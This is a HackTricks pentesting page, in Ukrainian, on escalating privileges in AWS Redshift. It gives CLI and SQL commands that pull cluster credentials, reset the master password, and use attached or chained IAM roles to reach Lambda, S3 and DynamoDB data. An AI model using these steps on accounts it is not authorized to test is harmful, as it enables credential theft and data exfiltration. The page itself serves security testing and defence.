AWS - Redshift Privesc

Support HackTricks

Redshift

Для отримання додаткової інформації про RDS перегляньте:

redshift:DescribeClusters, redshift:GetClusterCredentials

З цими дозволами ви можете отримати інформацію про всі кластери (включаючи ім'я та ім'я користувача кластера) та отримати облікові дані для доступу до нього:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Потенційний вплив: Знайти чутливу інформацію всередині баз даних.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

З цими дозволами ви можете отримати інформацію про всі кластери та отримати облікові дані для доступу до них. Зверніть увагу, що користувач postgres матиме дозволи, які має IAM-ідентичність, використана для отримання облікових даних.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Потенційний вплив: Знайти чутливу інформацію всередині баз даних.

redshift:DescribeClusters, redshift:ModifyCluster?

Можливо змінити головний пароль внутрішнього користувача postgres (redshit) з aws cli (я думаю, це ті дозволи, які вам потрібні, але я ще не тестував їх):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Потенційний вплив: Знайти чутливу інформацію в базах даних.

Доступ до зовнішніх сервісів

Щоб отримати доступ до всіх наступних ресурсів, вам потрібно вказати роль для використання. Кластер Redshift може мати призначений список ролей AWS, які ви можете використовувати якщо знаєте ARN, або ви можете просто встановити "за замовчуванням", щоб використовувати призначену за замовчуванням.

Більше того, як пояснено тут, Redshift також дозволяє конкатенувати ролі (якщо перша може прийняти другу) для отримання подальшого доступу, просто розділяючи їх комою: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Лямбди

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, можливо викликати функцію лямбда з redshift з чимось на зразок:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, можливо читати та записувати в S3 бакети:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, можливо отримати дані з dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Таблиця Amazon DynamoDB, яка надає дані, повинна бути створена в тому ж регіоні AWS, що й ваш кластер, якщо ви не використовуєте опцію REGION для вказівки регіону AWS, в якому знаходиться таблиця Amazon DynamoDB.

EMR

Перевірте https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

References

Підтримайте HackTricks

Last updated